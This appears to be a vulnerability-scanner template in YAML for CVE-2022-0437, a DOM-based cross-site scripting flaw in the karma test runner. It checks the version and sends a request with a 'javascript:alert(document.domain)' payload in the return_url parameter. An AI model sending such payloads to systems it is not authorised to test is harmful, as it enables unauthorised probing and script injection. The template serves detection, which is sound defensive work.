62 lines
1.7 KiB
YAML
62 lines
1.7 KiB
YAML
id: CVE-2022-0437
|
|
|
|
info:
|
|
name: karma-runner DOM-based Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: NPM karma prior to 6.3.14. contains a DOM-based cross-site Scripting vulnerability.
|
|
remediation: |
|
|
Upgrade to the latest version of karma-runner that includes proper input sanitization to mitigate this vulnerability.
|
|
reference:
|
|
- https://huntr.dev/bounties/64b67ea1-5487-4382-a5f6-e8a95f798885
|
|
- https://github.com/karma-runner/karma/commit/839578c45a8ac42fbc1d72105f97eab77dd3eb8a
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0437
|
|
- https://github.com/karma-runner/karma
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-0437
|
|
cwe-id: CWE-79
|
|
epss-score: 0.001
|
|
epss-percentile: 0.4094
|
|
cpe: cpe:2.3:a:karma_project:karma:*:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: karma_project
|
|
product: karma
|
|
framework: node.js
|
|
tags: oss,huntr,cve,cve2022,karma,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/karma.js'
|
|
- '{{BaseURL}}/?return_url=javascript:alert(document.domain)'
|
|
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- compare_versions(version, '< 6.3.14')
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- 'Karma'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: version
|
|
group: 1
|
|
regex:
|
|
- "(?m)VERSION: '([0-9.]+)'"
|
|
internal: true
|
|
|
|
# digest: 4b0a00483046022100b5f8905e70511a42b4bd4926f6d4bcbce1d8cbffa0ceaf639c9077afc3602ff402210084e5c77b2a36efe7abcfccaeaefb6c3753c1f9a93b70d76d08cd513bf928641e:922c64590222798bb761d5b6d8e72950
|